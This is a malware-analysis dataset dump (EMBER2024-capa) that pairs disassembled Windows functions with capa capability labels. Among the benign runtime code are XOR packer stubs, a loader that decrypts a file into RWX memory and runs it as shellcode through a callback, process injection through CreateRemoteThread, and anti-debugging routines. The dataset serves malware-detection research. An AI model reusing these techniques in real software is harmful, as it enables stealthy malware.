joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41de33
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00412d2a
and dword [ebp - 4], 0
cmp dword [0x42d69c], 0
mov ebx, eax
jne 0x41dee4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41df95
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41df95
push eax
call fcn.00412cb8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d69c], eax
call esi
push eax
call fcn.00412cb8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d6a0], eax
call esi
push eax
call fcn.00412cb8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d6a4], eax
call esi
push eax
call fcn.00412cb8
pop ecx
mov dword [0x42d6ac], eax
test eax, eax
je 0x41dee4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00412cb8
pop ecx
mov dword [0x42d6a8], eax
mov eax, dword [0x42d6a8]
cmp eax, ebx
je 0x41df3c
cmp dword [0x42d6ac], ebx
je 0x41df3c
push eax
call fcn.00412d33
push dword [0x42d6ac]
mov esi, eax
call fcn.00412d33
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41df3c
test edi, edi
je 0x41df3c
call esi
test eax, eax
je 0x41df33
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41df33
test byte [ebp - 0xc], 1
jne 0x41df3c
or dword [ebp + 0x10], 0x200000
jmp 0x41df75
mov eax, dword [0x42d6a0]
cmp eax, ebx
je 0x41df75
push eax
call fcn.00412d33
pop ecx
test eax, eax
je 0x41df75
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41df75
mov eax, dword [0x42d6a4]
cmp eax, ebx
je 0x41df75
push eax
call fcn.00412d33
pop ecx
test eax, eax
je 0x41df75
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d69c]
call fcn.00412d33
pop ecx
test eax, eax
je 0x41df95
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41df97
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10041f4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10041f5a
pop dword [ebp - 0x20]
mov eax, 0x10041f5a
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x5c726
push 0
mov eax, 0xa2accfae
add eax, 0x6d534176
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xa52027c2
sub ecx, 0xa51fd4e4
mov esi, eax
mov edi, 0x4e905b42
add edi, 0xc179b0be
add edi, dword [ebp - 0x20]
mov edx, 0x80d6d908
mov ebx, dword [edi]
xor ebx, edx
add dword [ebp - 8], 0x56af7e50
mov dword [esi], ebx
sub dword [ebp - 0x14], esi
add esi, 0x14c1565e
sub esi, 0x14c1565a
add edi, 0xf3a12525
add edi, 0xc5edadf
loop 0x10041fae
add eax, 0x21d483d8
add eax, 0xde2cba73
mov ebx, eax
add eax, 0xdace852d
add eax, 0x25317ad8
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a

Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.10041f4b
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.10041f4b
add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x79494bc3
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..rdata
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x55342ba6
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1000e130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0
push 4
push 0
push 0
push 0x80000000
push str.C:WindowsHAHAxo.had
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [0x10018170]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov esi, eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ecx
mov edx, edi
mov ecx, esi
call fcn.1000e1b0
add esp, 4
push esi
push 0
push 0
push 0
call dword [sym.imp.CRYPT32.dll_CryptEnumOIDInfo]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000e1b0
Capabilities:
Encode data using xor

Disassembly:
movdqa xmm1, xmmword [str.H]
push esi
xor esi, esi
test edx, edx
je 0x1000e216
cmp edx, 0x10
jb 0x1000e1ff
push edi
mov eax, edx
mov edi, edx
and eax, 0xf
sub edi, eax
mov edi, edi
movdqu xmm0, xmmword [ecx]
add esi, 0x10
pxor xmm0, xmm1
movdqu xmmword [ecx], xmm0
movdqu xmm0, xmmword [ecx]
paddb xmm0, xmm1
movdqu xmmword [ecx], xmm0
movdqu xmm0, xmmword [ecx]
pxor xmm0, xmm1
movdqu xmmword [ecx], xmm0
add ecx, 0x10
cmp esi, edi
jb 0x1000e1d0
pop edi
cmp esi, edx
jae 0x1000e216
sub edx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [ecx - 1], al
dec edx
jne 0x1000e205
pop esi
ret
Function at 0x1071d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1071d1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1071d07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1071d06a
add dl, dl
jne 0x1071d089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1071d0dc
xor eax, eax
add dl, dl
jne 0x1071d096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1071d17d
add dl, dl
jne 0x1071d0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1071d0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1071d0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1071d0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1071d0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1071d075
mov eax, 1
add dl, dl
jne 0x1071d0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1071d0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1071d0e1
sub eax, ebx
mov ebx, 1
jne 0x1071d128
mov ecx, 1
add dl, dl
jne 0x1071d10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1071d119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1071d105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1071d075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1071d13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1071d14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1071d136
cmp eax, 0x7d00
jae 0x1071d16d
cmp eax, 0x500
jb 0x1071d168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1071d075
cmp eax, 0x7f
ja 0x1071d170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1071d075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1071d19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1071d075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x618f1ba9
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x49cb52a1
nop
nop
nop
nop
nop
test eax, eax
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4209ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4209ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4209ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4209ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4209ea
cmp dword [ecx + 0x74], 0xe
jbe 0x4209ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433160
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43318d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43318d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x402bd0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404840], eax
mov ecx, ebp
add ecx, 8
mov dword [0x40410c], ecx
mov dword [0x4047c0], 0x30
mov dword [0x4047c4], 2
mov dword [0x4047cc], 0
mov dword [0x4047d0], 0
mov dword [0x4047c8], 0x402f50
jmp 0x402c23
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4047d4], eax
mov dword [0x4047e0], 0xf
mov dword [0x4047e8], 0x404767
mov dword [0x404104], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4047d8], eax
mov dword [0x4047ec], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4047dc], eax
push 0x4047c0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x404104]
push 0
push 0
push 0x24e
push 0x320
push 0xd8
push 0xa0
push 0x40000
push str.litform
push str.ndcls
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404838], eax
xor eax, eax
jmp 0x402cc2
push eax
push dword [0x404838]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404838]
call dword [sym.imp.user32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x4047f0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x402d08
push 0x4047f0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4047f0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x402cdb
mov eax, dword [0x4047f8]
jmp 0x402d15
call 0x4022b2
ret
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x2b004960
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x7acf27b4
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4012e0
Capabilities:
Create http request
Create thread
Enumerate processes
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20bc
call fcn.00407bd0
xor eax, eax
je 0x401495
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x13c], eax
push 0
push 0xc0000000
push 0
push 0
push 0
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x138], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x140], 1
jmp 0x40134d
mov edx, dword [ebp - 0x140]
add edx, 1
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], 0
lea eax, [ebp - 0x144]
push eax
push 0x1f58
push 0
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x144]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x144], 0
je 0x4013a2
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x20a4], eax
jmp 0x4013a4
jmp 0x4013a6
jmp 0x40133e
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], 0x128
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x20b4], 0
mov dword [ebp - 0x20a8], 0
cmp dword [ebp - 0x20a8], 0
je 0x40147a
mov eax, dword [ebp - 0x20a8]
mov dword [ebp - 0x20ac], eax
mov ecx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x20b0], ecx
mov edx, dword [ebp - 0x128]
push edx
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x20b8], eax
cmp dword [ebp - 0x20b8], 0
je 0x40147a
push 4
push 0x1000
push 8
push 0
mov eax, dword [ebp - 0x20b8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x20b4], eax
push 0
push 0
mov ecx, dword [ebp - 0x20b4]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x20b8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x20bc], eax
mov eax, dword [ebp - 0x20b8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4013d2
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x401bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0x4ee61051
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x401c2e
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00401100
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [ebp - 0x238]
call fcn.00401870
call fcn.004012e0
call fcn.004014a0
push 0x660c1c02
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea edx, [ebp - 0x234]
push edx
lea eax, [ebp - 0x118]
push eax
call fcn.00401270
add esp, 8
push 1
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x404063
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402f51
and dword [ebp - 4], 0
cmp dword [0x424c60], 0
mov ebx, eax
jne 0x404114
push 0x409898
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4041c5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40988c
push edi
call esi
test eax, eax
je 0x4041c5
push eax
call fcn.00402edf
mov dword [esp], 0x40987c
push edi
mov dword [0x424c60], eax
call esi
push eax
call fcn.00402edf
mov dword [esp], 0x409868
push edi
mov dword [0x424c64], eax
call esi
push eax
call fcn.00402edf
mov dword [esp], 0x40984c
push edi
mov dword [0x424c68], eax
call esi
push eax
call fcn.00402edf
pop ecx
mov dword [0x424c70], eax
test eax, eax
je 0x404114
push 0x409834
push edi
call esi
push eax
call fcn.00402edf
pop ecx
mov dword [0x424c6c], eax
mov eax, dword [0x424c6c]
cmp eax, ebx
je 0x40416c
cmp dword [0x424c70], ebx
je 0x40416c
push eax
call fcn.00402f5a
push dword [0x424c70]
mov esi, eax
call fcn.00402f5a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40416c
test edi, edi
je 0x40416c
call esi
test eax, eax
je 0x404163
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404163
test byte [ebp - 0xc], 1
jne 0x40416c
or dword [ebp + 0x10], 0x200000
jmp 0x4041a5
mov eax, dword [0x424c64]
cmp eax, ebx
je 0x4041a5
push eax
call fcn.00402f5a
pop ecx
test eax, eax
je 0x4041a5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4041a5
mov eax, dword [0x424c68]
cmp eax, ebx
je 0x4041a5
push eax
call fcn.00402f5a
pop ecx
test eax, eax
je 0x4041a5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424c60]
call fcn.00402f5a
pop ecx
test eax, eax
je 0x4041c5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4041c7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405e3e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b9f8]
jne 0x405e48
repz ret
jmp fcn.00407565
Function at 0x94761f
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 8], edx
push esi
push dword [esp + 7]
jno 0x9475de
jo 0x9475b4

Function at 0x947873
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ecx, 0xe51047c1
rdtsc
mov ax, 0xb6cf
jmp 0x947919
sub ax, bx
jmp 0x947892
mov ax, 0xb6cf
jmp 0x947919
jns 0x94785d
mov ecx, 0xe51047c1
rdtsc
jmp 0x947878
mov ecx, ebx
rcr al, cl
jge 0x9478c3
pop word [esp]
jmp 0x9478c7
lea esp, [esp + 4]
sub ebp, 0x74c389ef
push ebp
mov ecx, 0x90e7cd0
xchg word [esp], dx
jmp 0x9478d9
Function at 0x9b7d8e
Capabilities:
Encode data using xor

Disassembly:
pushal
jmp 0x93e441
pop dword [esp + 9]
lea esp, [esp + 0x1c]
mov eax, dword [esp + 0x10]
sub esp, 0x1b
lea esp, [esp + 3]
jmp 0x9b8a29
lea esp, [esp + 4]
je 0x93e43a
setbe al
jmp 0x9b7d58
lea esp, [esp + 0x18]
inc eax
call fcn.009b89c5
push 0x506a27d1
call fcn.00947aac
jecxz 0x9b8a56
mov dword [0xaca8cd33], eax
jns 0x9b8a8f
or ch, dl
sbb ebp, dword [esi + 0x4a7e6155]
sbb ecx, ebp
dec ebp
fsubr qword [edi]
push ebx
push ebx
mov ebx, 0x9474b8
mov ecx, dword [ebx]
pop ebx
jmp 0x9b89fd
invalid
add byte [ebp + edi*8 - 0x46], cl
xor edi, dword [ecx + 0x58]
mov dword [0x34310007], eax
xchg byte [eax], cl
mov cl, bh
dec ebx
push edx
fninit
retf 0x4669

Function at 0x9f1417
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edx, dword [esp + 2]
call 0x9f140c
movsd dword es:[edi], dword [esi]
and eax, 0xf92fdcb5
aad 0x56
les esp, [ebx - 0x14b847a2]
jmp 0x9f13f4
rdtsc
push dword [esp]
call 0x9f1417
out dx, al
clc
mov dx, cx
setg dh
jmp 0x9f1471
jmp 0x9f13f4
mov dword [esp + 0xa], ecx
xchg word [esp + 9], dx
mov ah, dl
pop edx
pop dword [esp + 3]
jmp 0x9f145b